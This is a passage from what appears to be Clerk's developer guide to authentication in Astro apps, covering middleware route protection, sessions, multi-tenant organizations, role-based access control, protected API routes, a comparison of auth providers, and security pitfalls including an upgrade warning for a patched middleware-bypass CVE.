import { clerkMiddleware, createRouteMatcher } from '@clerk/astro/server'

const isPublicRoute = createRouteMatcher([
  '/',
  '/sign-in(.*)',
  '/sign-up(.*)',
  '/pricing',
  '/blog(.*)',
])

export const onRequest = clerkMiddleware((auth, context) => {
  if (!isPublicRoute(context.request)) {
    auth.protect()
  }
})
```

This is safer for B2B dashboards: every new route you add is protected by default. You have to explicitly add it to the public list to expose it.

### Handling SSR and prerendered pages

Prerendered pages do not run middleware. If you need auth on a mostly-static site, two options:

1. Switch to `output: 'server'` and mark static pages with `export const prerender = true`.
2. Stay on `output: 'static'` and mark auth routes with `export const prerender = false`. Middleware runs for those routes only.

The first option is usually cleaner for apps where most pages need auth. The second fits marketing sites with a single logged-in portal.

### Redirect behavior for unauthenticated users

`redirectToSignIn()` redirects to the `signInUrl` configured on the integration (or `/sign-in` by default) and appends a `redirect_url` query parameter for post-login return.

`auth.protect()` behaves the same for page requests and returns an appropriate JSON 401 or 404 for API clients. You can override the sign-in URL per call:

```ts
auth.protect({ unauthenticatedUrl: '/sign-in?from=protected' })
```

> \[!TIP]
> Always allow `/sign-in(.*)` and `/sign-up(.*)` through your protection check. If the sign-in page itself redirects unauthenticated visitors to `/sign-in`, you get an infinite redirect loop. The opt-out pattern above shows the correct shape.

## Session management in Astro

Clerk handles sessions for you. The details matter when you are debugging or integrating with another backend.

### How Clerk handles sessions

Clerk uses two cookies:

- `__client` — long-lived, HttpOnly, set on Clerk's Frontend API domain (`clerk.yourdomain.com`, the CNAME you configure). This is the durable session record.
- `__session` — a short-lived, 60-second JWT on your app's domain. The frontend SDK auto-refreshes this token every 50 seconds so it never expires mid-request.

When a tab returns after its `__session` has expired (a closed laptop, a backgrounded tab), the SDK runs the **handshake** flow: a brief redirect to Frontend API that exchanges the long-lived `__client` for a new `__session` and returns. Users rarely see this happen.

Your Astro app never manages these cookies directly. `Astro.locals.auth()` reads the current `__session`, and the SDK handles refresh and handshake transparently. See [How Clerk works](/docs/guides/how-clerk-works/overview) for the full picture.

> \[!IMPORTANT]
> `__session` is not marked HttpOnly because the frontend SDK needs JavaScript access to attach it to outgoing requests. The 60-second TTL and 50-second refresh interval mitigate the [XSS](/glossary#cross-site-scripting-xss) risk by limiting the window a stolen token is usable. Keeping your app free of XSS vulnerabilities is still the first line of defense.

### Reading the current user on the server

Two APIs: `Astro.locals.auth()` for auth primitives, `Astro.locals.currentUser()` for the full user record.

#### Accessing auth from Astro.locals

`Astro.locals.auth()` returns the auth object:

```astro
---
// src/pages/dashboard.astro
const { isAuthenticated, userId, orgId, orgRole, sessionClaims, has, getToken } =
  Astro.locals.auth()

if (!isAuthenticated) {
  return Astro.redirect('/sign-in')
}
---

<h1>Dashboard</h1>
<p>User ID: {userId}</p>
{orgId && <p>Active org: {orgId}</p>}
```

It is cheap — no network call. The values come from the verified `__session` token.

#### Fetching the full user with currentUser()

`Astro.locals.currentUser()` makes a Backend API call to fetch the full user record. It deduplicates per request, so calling it multiple times in one render is safe:

```astro
---
// src/pages/profile.astro
const user = await Astro.locals.currentUser()
if (!user) return Astro.redirect('/sign-in')
---

<h1>Hello, {user.firstName}</h1>
<p>Email: {user.emailAddresses[0]?.emailAddress}</p>
```

#### Using the user object in .astro files

The user object includes `firstName`, `lastName`, `emailAddresses`, `phoneNumbers`, `imageUrl`, `publicMetadata`, and `privateMetadata`. Public metadata is fine to render. Private metadata is server-only — never put it in HTML.

> \[!WARNING]
> `user.privateMetadata` is only available on the server-side `Backend User` object (the one returned by `currentUser()` or `clerkClient().users.getUser()`). It should never reach client JavaScript. Rendering it inline in `.astro` HTML leaks it to every visitor.

### Reading the current user on the client

Client-side access comes from the `$userStore` nanostore. It updates reactively and works in any framework island:

```tsx
// src/components/ClientGreeting.tsx
import { useStore } from '@nanostores/react'
import { $userStore } from '@clerk/astro/client'

export default function ClientGreeting() {
  const user = useStore($userStore)
  if (user === undefined) return <span>Loading...</span>
  if (user === null) return <span>Not signed in.</span>
  return <span>Hello, {user.firstName}.</span>
}
```

Mount with `client:load`. The initial `undefined` state is the loading state — always handle it, or you will flash signed-out UI while Clerk's JS initializes.

### Session tokens for backend API calls

`getToken()` on the `auth()` object returns the current `__session` JWT. Use it when calling a separate backend service:

```ts
// inside an .astro frontmatter or APIRoute handler
const token = await Astro.locals.auth().getToken()
const response = await fetch('https://api.example.com/tasks', {
  headers: { Authorization: `Bearer ${token}` },
})
```

Token templates let you customize the claims for specific integrations: `getToken({ template: "supabase" })`. The external service verifies the token with Clerk's `verifyToken()` from `@clerk/backend`, or with any generic JWKS verifier pointed at your Frontend API's JWKS URL.

### Session expiry and refresh

The `__session` token has a 60-second TTL and is auto-refreshed every 50 seconds. `BroadcastChannel` syncs sessions across browser tabs so a sign-out in one tab signs the user out everywhere.

Force a refresh when you need fresh session claims (for example, after an out-of-band role change):

```ts
const token = await Astro.locals.auth().getToken({ skipCache: true })
```

Session maximum lifetime is a Clerk Dashboard setting. The default maximum is 7 days. Inactivity timeout is disabled by default; admins can enable it in the Dashboard. See [session options](/docs/guides/secure/session-options) for tuning.

## Working with organizations: building a multi-tenant dashboard

This is the headline chapter for the dashboard use case. Organizations turn a single-tenant signup flow into a B2B-ready multi-tenant app without rolling your own schema.

### Why organizations matter for SaaS dashboards

B2B SaaS users belong to multiple companies, teams, or projects. Each one is a tenant with its own members, roles, data, and (often) billing. Modeling that yourself — organizations table, memberships table, per-org roles, invitations, verified domains — is a multi-week project before you write a single business feature.

Clerk's Organizations primitive gives you:

- User-to-org memberships with roles.
- Invitations (email, bulk, or link-based).
- Verified domains (any user with `@yourcompany.com` auto-joins).
- Enterprise SSO binding per organization.
- An **active organization** concept — one org is active per session, synced across tabs via `BroadcastChannel`.

### Enabling organizations in Clerk

Go to the Clerk Dashboard → **Organizations** → **Enable**. Organizations are part of Clerk's B2B feature set and are available on all paid plans.

The base B2B tier includes:

- 100 MROs in production, 50 MROs in development.
- Up to 20 members per organization.
- Built-in `org:admin` and `org:member` roles.
- Basic RBAC with up to 10 custom roles per application.

The **Enhanced B2B Authentication** add-on ($85/month annual, $100/month monthly) unlocks:

- Unlimited members per organization.
- Multiple custom Role Sets (the base tier ships a single Role Set).
- Tiered MRO overages starting at $1/MRO and scaling down to $0.60/MRO at 100K+.
- Verified domains with automatic invitations.
- Linking enterprise SSO connections to specific organizations.

MRO stands for [Monthly Retained Organization](/glossary#monthly-retained-organizations-mros) — an organization with at least 2 members where at least one is an MRU (Monthly Retained User). It is Clerk's B2B pricing metric and replaces MAU-style billing for organizations.

> \[!NOTE]
> Organizations are not available on the free Hobby plan. A paid plan (Pro or higher) is required to enable them in production.

### Adding the OrganizationSwitcher component

The switcher is a dropdown that shows the user's current organizations and lets them switch, create, or leave. Drop it in the header:

```astro
---
// src/layouts/DashboardHeader.astro
import { OrganizationSwitcher, UserButton } from '@clerk/astro/components'
---

<header class="flex items-center justify-between p-4 border-b">
  <a href="/" class="font-bold">Acme Dashboard</a>
  <div class="flex items-center gap-4">
    <OrganizationSwitcher
      hidePersonal={true}
      afterSelectOrganizationUrl="/orgs/:slug/dashboard"
      afterCreateOrganizationUrl="/orgs/:slug/dashboard"
      createOrganizationMode="modal"
    />
    <UserButton />
  </div>
</header>
```

Key props:

- `hidePersonal={true}` forces users into an organization context. Personal accounts are hidden. Use this for B2B-only apps.
- `afterSelectOrganizationUrl` takes a template string with `:slug`, which Clerk substitutes with the selected org's slug. Pair this with `organizationSyncOptions` below.
- `afterCreateOrganizationUrl` — where to go after creating a new org.
- `createOrganizationMode` — `"modal"` (default) or `"navigation"`.

### Displaying the OrganizationProfile

`<OrganizationProfile />` renders the full management UI: general info, members roster with invitations and role management, and (if enabled) billing. Mount it on a catch-all route so Clerk can handle internal navigation:

```astro
---
// src/pages/orgs/[slug]/settings/[...rest].astro
export const prerender = false
import { OrganizationProfile } from '@clerk/astro/components'
import Layout from '../../../../layouts/Layout.astro'

const { isAuthenticated } = Astro.locals.auth()
if (!isAuthenticated) return Astro.redirect('/sign-in')
---

<Layout title="Organization settings">
  <OrganizationProfile path={`/orgs/${Astro.params.slug}/settings`} />
</Layout>
```

Clerk handles invites, role changes, and removal UI end-to-end. Custom pages can be added via sub-components if you need in-app customization (for example, an "Integrations" tab that is tenant-scoped).

### Making routes reflect the active organization

The dashboard URL shape is usually `/orgs/acme/dashboard`. The challenge: the URL says one organization is active, but the user's **session** holds the active org. If they are out of sync, data filters silently break.

`organizationSyncOptions` closes the gap by activating the org in the URL on the server before the page renders.

#### organizationSyncOptions for URL-based org activation

Pass patterns to `clerkMiddleware()` so it parses the URL and sets the active org automatically:

```ts
// src/middleware.ts
import { clerkMiddleware, createRouteMatcher } from '@clerk/astro/server'

const isProtectedRoute = createRouteMatcher(['/orgs/(.*)', '/me(.*)'])

export const onRequest = clerkMiddleware(
  (auth, context) => {
    if (isProtectedRoute(context.request)) {
      auth.protect()
    }
  },
  {
    organizationSyncOptions: {
      organizationPatterns: ['/orgs/:slug', '/orgs/:slug/(.*)'],
      personalAccountPatterns: ['/me', '/me/(.*)'],
    },
  },
)
```

Pattern syntax is Express-style: `:slug` is a named parameter; `(.*)` catches any trailing segments. When the user hits `/orgs/acme/dashboard`, Clerk activates the org with slug `acme` for this request. If the user lacks access, Clerk handles the error.

#### Reading the active organization server-side

In the page frontmatter:

```astro
---
// src/pages/orgs/[slug]/dashboard.astro
export const prerender = false
import { clerkClient } from '@clerk/astro/server'

const { isAuthenticated, orgId, orgSlug, orgRole } = Astro.locals.auth()
if (!isAuthenticated) return Astro.redirect('/sign-in')
if (!orgId) return Astro.redirect('/me')

// Defense-in-depth: URL slug must match the active org
if (Astro.params.slug !== orgSlug) {
  return Astro.redirect(`/orgs/${orgSlug}/dashboard`)
}

const org = await clerkClient(Astro).organizations.getOrganization({
  organizationId: orgId,
})
---

<h1>{org.name}</h1>
<p>You are a {orgRole} of this organization.</p>
```

`clerkClient(Astro)` is the Backend API client. Unlike the Next.js factory (which is async), the Astro factory takes the `APIContext` (the `Astro` global in a page, `context` in an APIRoute) synchronously. Methods on the returned client are async and still need `await`.

#### Filtering data by organization

Every database query must scope to `locals.auth().orgId`. Do not trust `Astro.params.slug` as the sole source of truth — it is user-controlled input in the URL. The middleware sets the active org based on the URL via `organizationSyncOptions`, and the auth check above bounces users whose membership does not match. But application code should still do the belt-and-suspenders scoping:

```ts
// src/lib/db.ts
export async function listTasks(orgId: string) {
  return db.query(
    `SELECT id, title, status FROM tasks WHERE organization_id = $1 ORDER BY created_at DESC`,
    [orgId],
  )
}
```

Call it with `locals.auth().orgId`, never with `Astro.params.slug`.

> \[!WARNING]
> Using `Astro.params.slug` for data isolation is a common tenant-leakage bug. A user with membership in `acme` who visits `/orgs/evil-corp/dashboard` could see evil-corp's data if the app queries by the URL slug. Always derive the tenant ID from the session (`orgId`).

#### Keeping the switcher in sync

The `<OrganizationSwitcher />` needs to navigate to URLs that match `organizationSyncOptions`:

```astro
<OrganizationSwitcher
  afterSelectOrganizationUrl="/orgs/:slug/dashboard"
  afterCreateOrganizationUrl="/orgs/:slug/dashboard"
  afterLeaveOrganizationUrl="/me"
/>
```

When the user switches orgs, Clerk updates the active org on the server (via the switcher's internal API call) and then redirects to the URL shape. The middleware's `organizationSyncOptions` reconcile the two on the next page render.

> \[!IMPORTANT]
> `organizationSyncOptions` activates the URL's org server-side. The client-side `<OrganizationSwitcher />` still needs `afterSelectOrganizationUrl` to match the URL shape. Missing the URL template breaks the "switch and stay on the same page" flow.

### Inviting and managing members

Server-side invitation from an Astro APIRoute:

```ts
// src/pages/api/invite.ts
import type { APIRoute } from 'astro'
import { clerkClient } from '@clerk/astro/server'

export const prerender = false

export const POST: APIRoute = async (context) => {
  const { isAuthenticated, orgId, userId, has } = context.locals.auth()
  if (!isAuthenticated) return new Response(null, { status: 401 })
  if (!orgId) return new Response('No active org', { status: 400 })
  if (!has({ permission: 'org:members:invite' })) {
    return new Response('Forbidden', { status: 403 })
  }

  const { emailAddress, role } = await context.request.json()

  const invitation = await clerkClient(context).organizations.createOrganizationInvitation({
    organizationId: orgId,
    emailAddress,
    role,
    inviterUserId: userId ?? undefined,
  })

  return new Response(JSON.stringify(invitation), { status: 200 })
}
```

The required parameters are `organizationId`, `emailAddress`, and `role`. `inviterUserId` is optional but recommended — it records who sent the invitation for the audit log. When omitted, the invitation is recorded without an inviter (useful for system-initiated invites). Other optional parameters: `expiresInDays`, `redirectUrl`, `privateMetadata`, `publicMetadata`.

Client-side invitation from a React island:

```tsx
// src/components/InviteForm.tsx
import { useStore } from '@nanostores/react'
import { $organizationStore } from '@clerk/astro/client'
import { useState } from 'react'

export default function InviteForm() {
  const organization = useStore($organizationStore)
  const [email, setEmail] = useState('')

  async function handleSubmit(event: React.FormEvent) {
    event.preventDefault()
    if (!organization) return
    await organization.inviteMember({ emailAddress: email, role: 'org:member' })
    setEmail('')
  }

  return (
    <form onSubmit={handleSubmit}>
      <input value={email} onChange={(e) => setEmail(e.target.value)} />
      <button type="submit">Invite</button>
    </form>
  )
}
```

Rate limits to remember:

- [Organization invitations: 250/hour single, 50/hour bulk](/docs/guides/how-clerk-works/system-limits).
- [Application-level invitations (user-to-app, not org): 100/hour single, 25/hour bulk](/docs/guides/how-clerk-works/system-limits).

The dashboard example above uses organization invitations.

Accepting an invitation walks new users through sign-up and existing users through a confirmation step on next sign-in. The experience is built into Clerk — no custom acceptance pages needed.

> \[!NOTE]
> For fetching the current user, prefer `Astro.locals.currentUser()` over `clerkClient(Astro).users.getUser(userId)`. `currentUser()` deduplicates per request and does not count against your Backend API quota on repeated calls within the same render. Use `clerkClient` when you need users or organizations other than the active session.

## Role-based access control (RBAC) in Astro

[RBAC](/glossary#role-based-access-control-rbac) in Clerk is organization-scoped. A user has one role per organization; roles carry permissions; code checks roles or permissions before rendering or mutating.

### Clerk's roles and permissions model

The moving pieces:

- **Roles**. `org:admin` and `org:member` are built-in. You can define up to 10 custom roles per application on the base B2B tier (format: `org:role_name`).
- **System permissions**. `org:sys_*` (e.g. `org:sys_memberships:manage`) are built-in permissions attached to roles. They are **not** available in session claims — they can only be checked server-side via Backend API.
- **Custom permissions**. `org:feature:action` format (e.g. `org:posts:publish`). These **are** available in session claims and can be checked on the server or the client.
- **Role Sets**. A Role Set is one role configuration. The base B2B tier ships a single Role Set. Multiple Role Sets (per-organization custom roles) require the Enhanced B2B add-on.

> \[!WARNING]
> `has({ permission: "org:sys_*" })` on the server returns false for system permissions because they are not in the session token. Use `has({ role: "org:admin" })` instead for system-level actions. Custom permissions (`org:feature:action`) are in the token and work as expected.

### Admin vs member permissions

The default Role Set gives `org:admin` the ability to manage the organization, invite and remove members, and manage billing (if enabled). `org:member` gets basic read/write access to tenant data. Both are defined in the Clerk Dashboard → Organizations → Roles & Permissions and can be customized per app.

### Gating UI by role

Three ways to gate, each with different trade-offs.

`<Show />` at the component level (client-safe, but DOM is still in the HTML):

```astro
---
import { Show } from '@clerk/astro/components'
---

<nav>
  <a href="/dashboard">Dashboard</a>
  <Show when={{ role: 'org:admin' }}>
    <a href="/admin">Admin</a>
  </Show>
  <Show when={{ permission: 'org:billing:manage' }}>
    <a href="/billing">Billing</a>
  </Show>
</nav>
```

Function predicate for compound checks:

```astro
<Show when={(has) => has({ role: 'org:admin' }) || has({ permission: 'org:billing:manage' })}>
  <BillingWidget />
</Show>
```

Server-side gating in `.astro` frontmatter (element omitted from HTML entirely):

```astro
---
// src/components/AdminNav.astro
const { has } = Astro.locals.auth()
const isAdmin = has({ role: 'org:admin' })
---

{
  isAdmin && (
    <section>
      <h2>Admin controls</h2>
      <a href="/admin/users">Manage users</a>
    </section>
  )
}
```

> \[!WARNING]
> `<Show />` only hides content at render time. The HTML is still present in the page source. Browser inspectors can see it. For truly sensitive data (financial details, secrets, PII), gate it server-side in frontmatter and do not render it at all. The best gate is the one that runs closest to the data — the API route or database query.

### Enforcing permissions in API routes

API routes are where authorization really lives. Gate on permissions before writing to the database:

```ts
// src/pages/api/posts.ts
import type { APIRoute } from 'astro'

export const prerender = false

export const POST: APIRoute = async (context) => {
  const { has, orgId } = context.locals.auth()
  if (!orgId) return new Response('No active org', { status: 400 })
  if (!has({ permission: 'org:posts:publish' })) {
    return new Response('Forbidden', { status: 403 })
  }

  const body = await context.request.json()
  const post = await db.insert('posts', {
    title: body.title,
    organization_id: orgId,
    status: 'published',
  })
  return new Response(JSON.stringify(post), { status: 201 })
}
```

For route-level role enforcement from middleware, use `auth.protect()` with a role argument:

```ts
// src/middleware.ts
import { clerkMiddleware, createRouteMatcher } from '@clerk/astro/server'

const isAdminRoute = createRouteMatcher(['/admin(.*)', '/api/admin(.*)'])

export const onRequest = clerkMiddleware((auth, context) => {
  if (isAdminRoute(context.request)) {
    auth.protect({ role: 'org:admin' })
  }
})
```

Always check both permission **and** that the request is scoped to the expected org. `has({ role })` implicitly requires an active org, but your data-layer query still needs to join on `orgId`.

For system permissions (`org:sys_*`), check the role. They are not in the session token.

### Organization-specific data filtering

Every query that reads tenant data must filter on `locals.auth().orgId`. Do not let clients pass `organizationId` in a request body or URL parameter and then use it directly — always derive it from the session.

A safer pattern using a thin repository:

```ts
// src/lib/tasks.ts
import { db } from './db'

export async function listTasksForOrg(orgId: string) {
  return db.query(
    `SELECT id, title, status FROM tasks WHERE organization_id = $1 ORDER BY created_at DESC`,
    [orgId],
  )
}

export async function createTaskForOrg(orgId: string, input: { title: string }) {
  return db.query(`INSERT INTO tasks (organization_id, title) VALUES ($1, $2) RETURNING *`, [
    orgId,
    input.title,
  ])
}
```

Call sites pass `locals.auth().orgId`. For Postgres, consider database-level row-level security (RLS) as defense-in-depth: map the Clerk session claim to a Postgres role and write `USING (organization_id = current_setting('app.current_org'))` policies.

## Protecting API routes and endpoints

The middleware chapter covered page-level protection. This chapter is about API endpoints — the JSON routes consumed by your frontend islands and any external clients.

### Server-side auth in Astro API routes

Astro API routes live in `src/pages/api/*.ts`. Export HTTP method handlers with the `APIRoute` type:

```ts
// src/pages/api/me.ts
import type { APIRoute } from 'astro'

export const prerender = false

export const GET: APIRoute = async (context) => {
  const { isAuthenticated, userId } = context.locals.auth()
  if (!isAuthenticated) {
    return new Response(JSON.stringify({ error: 'unauthenticated' }), {
      status: 401,
      headers: { 'Content-Type': 'application/json' },
    })
  }
  return new Response(JSON.stringify({ userId }), {
    status: 200,
    headers: { 'Content-Type': 'application/json' },
  })
}
```

The `context.locals.auth()` API is identical to pages. Same `has()`, `orgId`, `getToken()` methods. Prerendered API routes bake their response at build time — always mark them SSR if the project default is static.

### Example: a protected data endpoint

A realistic example: `GET /api/tasks` returns tasks scoped to the active organization.

```ts
// src/pages/api/tasks.ts
import type { APIRoute } from 'astro'
import { listTasksForOrg } from '../../lib/tasks'

export const prerender = false

export const GET: APIRoute = async (context) => {
  const { isAuthenticated, orgId } = context.locals.auth()
  if (!isAuthenticated) {
    return new Response(JSON.stringify({ error: 'unauthenticated' }), { status: 401 })
  }
  if (!orgId) {
    return new Response(JSON.stringify({ error: 'no_active_org' }), { status: 400 })
  }

  const tasks = await listTasksForOrg(orgId)
  return new Response(JSON.stringify({ tasks }), {
    status: 200,
    headers: { 'Content-Type': 'application/json' },
  })
}
```

### Verifying session tokens from external callers

When a service other than your Astro app needs to verify a Clerk session token (for example, a background worker consuming a message), use `verifyToken()` from `@clerk/backend`:

```ts
// services/worker/verify.ts
import { verifyToken } from '@clerk/backend'

export async function verifyClerkToken(token: string) {
  const claims = await verifyToken(token, {
    secretKey: process.env.CLERK_SECRET_KEY!,
  })
  return claims
}
```

For service-to-service auth, call `getToken()` on the Astro side and send it in an `Authorization: Bearer` header. The worker verifies it with the same `secretKey` and reads `claims.sub` (the Clerk user ID) to act on behalf of the user.

### Returning 401 vs redirecting

HTML page routes can redirect to sign-in — the browser follows redirects naturally. JSON API routes cannot; a JSON client cannot "follow" an HTML redirect. Return an explicit status code:

```ts
// src/pages/api/secure-data.ts
import type { APIRoute } from 'astro'

export const prerender = false

export const GET: APIRoute = async (context) => {
  const { isAuthenticated } = context.locals.auth()
  if (!isAuthenticated) {
    // JSON client → 401 with JSON body
    return new Response(JSON.stringify({ error: 'unauthenticated' }), {
      status: 401,
      headers: { 'Content-Type': 'application/json' },
    })
  }
  // ...
  return new Response(JSON.stringify({ data: '...' }))
}
```

`auth.protect()` from the middleware chapter handles this automatically — it reads the `Accept` header and returns 401 for JSON clients, redirect for HTML clients.

## Comparing authentication providers for Astro

The fair comparison. Clerk wins on Astro-specific criteria because it has the only first-class Astro SDK with Organizations and prebuilt UI. Competitors score on other dimensions — enterprise SSO breadth, pricing, ecosystem lock-in.

### Feature matrix overview

| Provider      | Official Astro SDK | Prebuilt UI |   Organizations   |      RBAC     | SSO/SAML (tier)   | Free tier | Paid entry                |
| ------------- | :----------------: | :---------: | :---------------: | :-----------: | ----------------- | --------- | ------------------------- |
| Clerk         |                    |             |     (base B2B)    |   (built-in)  | Pro+              | 50K MRUs  | $20/mo                    |
| Auth0         |                    | Hosted only |      Paid B2B     |               | Essentials+       | 25K MAUs  | $35/mo                    |
| Supabase Auth |                    |             |                   | Custom claims | Pro+              | 50K MAUs  | $25/mo                    |
| Firebase      |                    | Legacy only | Identity Platform | Custom claims | Identity Platform | 50K MAUs  | Pay-as-you-go             |
| Roll-your-own |                    |             |                   |               | DIY               | N/A       | Infrastructure + dev time |

### Astro-specific SDK support

#### Clerk

`@clerk/astro` 3.0.16 is a first-party integration. Official quickstart repo at `github.com/clerk/clerk-astro-quickstart`. Components work natively in `.astro` files. Middleware API (`clerkMiddleware`, `createRouteMatcher`, `organizationSyncOptions`) is Astro-specific. Keyless mode lets readers test without signup.

#### Auth0

No official Astro SDK. Developers use `auth0-spa-js` (client-only) or roll OAuth manually against the `/authorize` and `/oauth/token` endpoints. Universal Login is the hosted UX — a redirect to Auth0's pages. No embeddable components for Astro.

#### Supabase Auth

Official `@supabase/ssr` with an Astro-specific quickstart. `createServerClient()` plus a cookie adapter over `context.cookies.set()` and `parseCookieHeader`. Still marked beta but production-ready. No prebuilt UI — the React UI library was abandoned in February 2024.

#### Firebase Authentication

Astro has a Firebase backend guide but no dedicated SDK. `firebase-admin` does not run on edge runtimes (uses Node TCP). Community library `next-firebase-auth-edge` fills the gap for Next.js; Astro equivalents are less mature. Setup requires both the client Firebase SDK and the Admin SDK.

### Built-in UI and components

Clerk has the richest component set for Astro: `<SignIn />`, `<SignUp />`, `<UserButton />`, `<UserProfile />`, `<OrganizationSwitcher />`, `<OrganizationProfile />`, `<OrganizationList />`, `<CreateOrganization />`, `<Show />` gating. All render server-side in `.astro` files.

Auth0 has Universal Login (hosted pages) only for the JavaScript ecosystem. Supabase and Firebase provide no prebuilt UI at present — teams build sign-in forms against the respective JS SDKs. Roll-your-own means building everything from scratch.

### Organizations and B2B features

- **Clerk**: built-in Organizations primitive, custom roles, Enhanced B2B add-on for unlimited members, multiple Role Sets, verified domains, and per-org SSO linking.
- **Auth0**: Organizations are a feature. B2B Essentials ($150/month) unlocks unlimited orgs. Enterprise Connections (SAML/OIDC SSO) are tenant-level resources: Essentials includes 3, Professional includes 5, additional connections are $100/month each.
- **Supabase**: no native Organizations primitive — model them in your schema. Project-level SAML SSO (for end users of your app) requires the Pro plan and above.
- **Firebase**: multi-tenancy requires upgrading to Google Cloud Identity Platform (paid). Tenant-scoped SSO available on the same paid tier.

### Pricing and free tier

Pricing as of April 2026:

- **Clerk**: [Hobby (free, 50K MRUs per app, no credit card). Pro $20/month annual ($25 monthly), 50K MRUs included with tiered overage down to $0.012/MRU at 10M+. Business $250/month annual ($300 monthly). Enhanced B2B add-on $85/month annual ($100 monthly)](/pricing).
- **Auth0**: [Free (25,000 MAUs, 5 orgs; up from 7,500 MAUs in September 2024). B2C Essentials from $35/month. B2B Essentials from $150/month (unlimited orgs, 3 Enterprise Connections included). B2B Professional from $800/month (5 Enterprise Connections). Additional Enterprise Connections $100/month each](https://auth0.com/pricing).
- **Supabase Auth**: [Free (50K MAUs). Pro $25/month (100K MAUs included)](https://supabase.com/pricing). [Project-level SAML SSO is on the Pro plan and above](https://supabase.com/docs/guides/auth/enterprise-sso/auth-sso-saml) (distinct from the Team/Enterprise-only dashboard SSO for Supabase staff access).
- **Firebase Auth**: [Spark free tier covers 50K MAUs (SAML/OIDC capped at 50 MAU)](https://firebase.google.com/pricing). Identity Platform is the paid upgrade for multi-tenancy.

### Developer experience

Qualitatively:

- Clerk: \~5 minute quickstart, clear docs, Astro-native components. Fastest to production for a multi-tenant dashboard.
- Supabase: \~15 minute setup, no UI to build against unless you already have one.
- Auth0: 30+ minutes manually wiring OAuth because there is no Astro SDK. Universal Login limits UX customization.
- Firebase: 30+ minutes with edge-compatibility workarounds.
- Roll-your-own: days to weeks depending on scope.

### Decision matrix: when each option fits best

- **Choose Clerk** when you need prebuilt UI, organizations and RBAC, and a first-class Astro integration. Dashboards, B2B SaaS, multi-tenant apps.
- **Choose Supabase Auth** when the rest of your stack is already Supabase (Postgres, storage, realtime) and you are willing to build your own sign-in UI.
- **Choose Auth0** when you need deep enterprise SSO breadth and have budget for it. Willingness to roll OAuth by hand on Astro.
- **Choose Firebase** when you are already on Google Cloud and can live with the edge-runtime caveats. Willingness to move to paid Identity Platform for multi-tenancy.
- **Roll your own** only for narrow API-only services with no user-facing auth and an experienced team.

## Common pitfalls and best practices

Cross-cutting gotchas to internalize before shipping. Host-specific deployment pitfalls (Netlify preview key loops, edge-middleware caveats on Vercel) are intentionally scoped out here — see [Deploy an Astro app to production](/docs/guides/development/deployment/astro) for those.

### Avoiding hydration mismatches in auth UI

Use `<Show />` with `isStatic` matching the enclosing page's prerender mode. For prerendered pages in a `server` app (or the default case in a `static` app), add `isStatic={true}`. For SSR pages, omit the prop.

Do not conditionally render different nav items based on `isSignedIn` without handling the loading state. The `undefined` value from `$authStore` means "Clerk is still initializing" — render a skeleton there, not the signed-out shell.

### Choosing the right output mode

Default for dashboards and B2B apps: `output: 'server'` with `@astrojs/node` standalone. Every page is SSR; mark marketing pages `export const prerender = true`.

Mostly-static sites with a few auth pages: `output: 'static'` and `export const prerender = false` on auth routes. Middleware runs only on those routes.

### Keeping secrets out of client bundles

Only env vars prefixed with `PUBLIC_` are bundled to the client. `CLERK_SECRET_KEY` stays on the server — the middleware and `clerkClient` read it at runtime.

Never import `@clerk/astro/server` into a React island component. It will either fail at build or leak server code into the client bundle. If you see a build error referencing `clerkMiddleware` inside a React file, the import is wrong.

> \[!TIP]
> A quick sanity check: `grep -r "@clerk/astro/server" src/components` should return nothing. Anything in `src/components` that imports the server subpath has the wrong file extension or is being imported from the wrong place.

### Handling the initial auth state on page load

`$authStore.userId === undefined` means loading. `null` means signed out. A string means signed in. Render a skeleton or loading UI during `undefined`:

```tsx
import { useStore } from '@nanostores/react'
import { $authStore } from '@clerk/astro/client'

export default function AuthAwareButton() {
  const { userId } = useStore($authStore)
  if (userId === undefined) return <button disabled>Loading...</button>
  if (userId === null) return <button>Sign in</button>
  return <button>View profile</button>
}
```

### View transitions and scripts running once

Module scripts (`<script>` tags without `is:inline`) run only once per full page load, not on `<ClientRouter />` soft navigations. If a script initializes auth-related UI on `DOMContentLoaded`, it will not re-run on navigation.

Fix: listen to `astro:page-load` instead:

```astro
<script>
  document.addEventListener('astro:page-load', () => {
    // reinitialize after soft navigation
  })
</script>
```

For React islands that must retain state across soft navigations, apply `transition:persist` to the wrapping element.

The historical issue where Clerk components did not load on `ClientRouter` soft navigation was [fixed in `@clerk/astro` v2.17.2](https://github.com/clerk/javascript/pull/7804) and is no longer a concern on v3.x.

### Staying current with security patches

CVE-2025-29927 was a Next.js middleware bypass that used the `x-middleware-subrequest` header to skip `proxy.ts` or `middleware.ts`. The same header affected `@clerk/astro` before v2.17.10 / v3.0.15 because Clerk's Astro middleware wrapper honored it. Upgrade to v3.0.15 or v2.17.10 or later immediately if you are on an older version.

[PR #8311 in `@clerk/astro` v3.0.15 also normalized path matching to close related bypass paths](https://github.com/clerk/javascript/pull/8311).

Track the `@clerk/astro` `CHANGELOG.md` and Clerk's security blog. Subscribe to GitHub release notifications on `clerk/javascript`.

> \[!WARNING]
> CVE-2025-29927 affected `@clerk/astro` before v2.17.10 / v3.0.15. If your `package.json` shows an older version, upgrade before shipping. Attackers could use the bypass to reach routes gated by `clerkMiddleware()` without authentication.

### Testing authenticated flows

Clerk ships `@clerk/testing` with Playwright support. The key helpers:

- `clerkSetup()` in `globalSetup` avoids "Bot traffic detected" errors that would otherwise trigger in automated test runs.
- `setupClerkTestingToken()` supplies a pre-seeded session so tests skip the sign-in flow.
- Production Testing Tokens (shipped August 2025) let you test against production instances without toggling bot protection.

A minimal Playwright spec:

```ts
// tests/dashboard.spec.ts
import { clerkSetup, setupClerkTestingToken } from '@clerk/testing/playwright'
import { expect, test } from '@playwright/test'

test.beforeAll(async () => {
  await clerkSetup()
})

test('authenticated dashboard', async ({ page }) => {
  await setupClerkTestingToken({ page })
  await page.goto('/dashboard')
  await expect(page.getByRole('heading', { name: 'Dashboard' })).toBeVisible()
})
```

For local development, use the Clerk Dashboard's Impersonation feature to verify behavior as specific users without signing in manually.

## Frequently asked questions

## Conclusion and next steps

### Summary of key takeaways

- Astro's rendering model requires SSR for any personalized or auth-gated page. Prerendered pages cannot read cookies or invoke middleware at runtime.
- `@clerk/astro` is the only provider with a first-class Astro SDK, an official quickstart repo, and prebuilt components that work directly in `.astro` files.
- Organizations plus `organizationSyncOptions` are the canonical path to a multi-tenant dashboard. The URL's slug drives the active organization server-side.
- Set `isStatic` on control components to match the enclosing page's prerender mode. Default SSR pages need no prop; prerendered pages need `isStatic={true}`.
